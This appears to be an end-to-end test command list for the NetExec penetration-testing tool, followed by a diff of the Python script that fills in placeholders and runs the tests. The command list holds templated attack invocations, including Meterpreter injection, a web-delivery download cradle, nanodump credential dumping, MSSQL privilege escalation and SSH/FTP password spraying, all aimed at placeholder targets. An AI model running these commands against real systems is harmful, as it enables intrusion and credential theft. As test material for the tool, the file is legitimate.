netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
# a bit janky, but we try to enable RDP before testing RDP
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
##### RDP
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file tests/data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file tests/data/test_key.priv
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --key-file data/test_key.priv
netexec ssh TARGET_HOST -u USERNAME -p '' --key-file data/test_key.priv
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
##### FTP- Default test passwords and random key; switch these out if you want correct authentication
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put tests/data/test_file.txt test_file.txt
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --ls
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --put data/test_file.txt test_file.txt
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
+16 -75
View File
@@ -1,29 +1,16 @@
import argparse
from os import getcwd
from os.path import dirname, abspath, join, realpath, isfile, normpath
import os
import subprocess
from time import time
from rich.console import Console
import platform
import os
from nxc.paths import TMP_PATH
import sys
if sys.stdout.encoding == "cp1252":
sys.stdout.reconfigure(encoding="utf-8")
script_dir = dirname(abspath(__file__))
run_dir = os.getcwd()
def get_cli_args():
parser = argparse.ArgumentParser(description="Script for running end to end tests for nxc")
parser.add_argument(
"--executable",
default="netexec"
)
parser.add_argument(
"-t",
"--target",
dest="target",
required=True
)
parser.add_argument(
@@ -82,28 +69,10 @@ def get_cli_args():
help="Specify line numbers or ranges to run commands from",
)
parser.add_argument(
"--test-user-file",
"--print-failures",
action="store_true",
required=False,
default=normpath(join(script_dir, "data", "test_users.txt")),
help="Path to the file containing test usernames",
)
parser.add_argument(
"--test-password-file",
required=False,
default=normpath(join(script_dir, "data", "test_passwords.txt")),
help="Path to the file containing test passwords",
)
parser.add_argument(
"--amsi-bypass-file",
required=False,
default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")),
help="Path to the file containing AMSI bypasses",
)
parser.add_argument(
"--test-normal-file",
required=False,
default=normpath(join(script_dir, "data", "test_file.txt")),
help="Path to file to upload/download"
help="Prints all the commands of failed tests at the end"
)
parser.add_argument(
"--dns-server",
@@ -113,7 +82,6 @@ def get_cli_args():
)
return parser.parse_args()
def parse_line_nums(value):
line_nums = []
for item in value.split():
@@ -124,11 +92,10 @@ def parse_line_nums(value):
line_nums.append(int(item))
return line_nums
def generate_commands(args):
lines = []
file_loc = realpath(join(getcwd(), dirname(__file__)))
commands_file = join(file_loc, "e2e_commands.txt")
file_loc = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))
commands_file = os.path.join(file_loc, "e2e_commands.txt")
with open(commands_file) as file:
if args.line_nums:
@@ -137,8 +104,6 @@ def generate_commands(args):
if i + 1 in flattened_list:
if line.startswith("#"):
continue
if "#" in line:
line = line.split("#")[0]
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
@@ -149,8 +114,6 @@ def generate_commands(args):
for line in file:
if line.startswith("#"):
continue
if "#" in line:
line = line.split("#")[0]
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
@@ -159,26 +122,11 @@ def generate_commands(args):
lines.append(replace_command(args, line))
return lines
def replace_command(args, line):
if isfile(join(getcwd(), args.executable)):
args.executable = abspath(join(getcwd(), args.executable))
kerberos = "-k " if args.kerberos else ""
dns_server = f"--dns-server {args.dns_server}" if args.dns_server else ""
line = line\
.replace("netexec", args.executable)\
.replace("TARGET_HOST", args.target)\
.replace("LOGIN_USERNAME", f'"{args.username}"')\
.replace("LOGIN_PASSWORD", f'"{args.password}"')\
.replace("KERBEROS ", kerberos)\
.replace("TEST_USER_FILE", args.test_user_file)\
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
.replace("{DNS}", dns_server)\
.replace("/tmp", TMP_PATH)
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos).replace("{DNS}", dns_server)
if args.poetry:
line = f"poetry run {line}"
return line
@@ -187,19 +135,17 @@ def replace_command(args, line):
def run_e2e_tests(args):
console = Console()
tasks = generate_commands(args)
tasks_len = len(tasks)
failures = []
result = subprocess.Popen(
f"{args.executable} --version",
"netexec --version",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
version = result.communicate()[0].decode().strip()
with console.status(f"[bold green] :brain: Running {tasks_len} test commands for nxc v{version}..."):
start_time = time()
with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for nxc v{version}..."):
passed = 0
failed = 0
@@ -208,8 +154,6 @@ def run_e2e_tests(args):
# replace double quotes with single quotes for Linux due to special chars/escaping
if platform.system() == "Linux":
task = task.replace('"', "'")
# we print the command before running because very often things will timeout and we want the last thing ran
console.log(f"Running command: {task}")
result = subprocess.Popen(
task,
@@ -217,15 +161,13 @@ def run_e2e_tests(args):
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=abspath(join(dirname(__file__), "..")),
)
# pass in a "y" for things that prompt for it (--ndts, etc)
text = result.communicate(input=b"y")[0]
return_code = result.returncode
if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"):
console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]")
if return_code == 0:
console.log(f"{task.strip()} :heavy_check_mark:")
passed += 1
else:
console.log(f"[bold red]{task.strip()} :cross_mark:[/]")
@@ -234,20 +176,19 @@ def run_e2e_tests(args):
if args.errors:
raw_text = text.decode("utf-8")
# this is not a good way to detect errors, but it does catch a lot of things
if "error" in raw_text.lower() or "failure" in raw_text.lower() or "Traceback (most recent call last)" in raw_text:
if "error" in raw_text.lower() or "failure" in raw_text.lower():
console.log("[bold red]Error Detected:")
console.log(f"{raw_text}")
if args.verbose:
# this prints sorta janky, but it does its job
console.log(f"[*] Results:\n{text.decode('utf-8')}")
if failures:
if args.print_failures and failures:
console.log("[bold red]Failed Commands:")
for failure in failures:
console.log(f"[bold red]{failure}")
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed}")
console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}")
if __name__ == "__main__":